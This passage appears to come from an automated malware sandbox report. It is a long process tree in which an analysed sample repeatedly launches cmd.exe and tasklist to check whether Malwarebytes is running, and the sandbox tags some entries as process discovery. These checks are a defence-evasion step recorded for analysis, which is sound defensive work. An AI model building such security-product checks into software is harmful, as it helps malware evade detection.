        5⤵
        
        PID:1284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1296
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1692
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4732
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2836
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:3936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4508
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1584
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3884
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1688
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2588
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:180
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3820
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3724
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4236
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2492
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2780
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2432
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3000
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:1804
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3220
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2304
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1904
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1608
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2816
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4648
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:4504
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4196
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1988
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2504
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1412
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1364
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:5064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4640
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1656
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4136
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4956
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3300
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2392
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1912
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1400
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2088
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4224
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3668
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1720
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:792
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3748
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4968
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2604
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4504
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:2208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:5032
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3728
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1148
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2100
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3816
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1084
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2428
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4128
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3584
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1284
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:612
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:224
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3096
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3416
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2416
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1988
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4284
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3164
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3936
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3360
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2856
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4420
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4296
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2908
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4044
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2184
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2972
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4240
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4124
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2120
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3616
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4948
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4760
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:5104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1076
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1700
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4436
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4820
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:552
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:4992
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2208
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:400
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4572
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4316
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2624
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:4432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:3232
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1160
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:3784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3284
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:2496
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      PID:1536
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1984
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:4672
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1420
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        Discovers running processes
        
        PID:1880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3400
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:2356
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:3844
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
        5⤵
        
        PID:1580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq Malwarebytes.exe" /fo csv /nh
      4⤵
      PID:1808
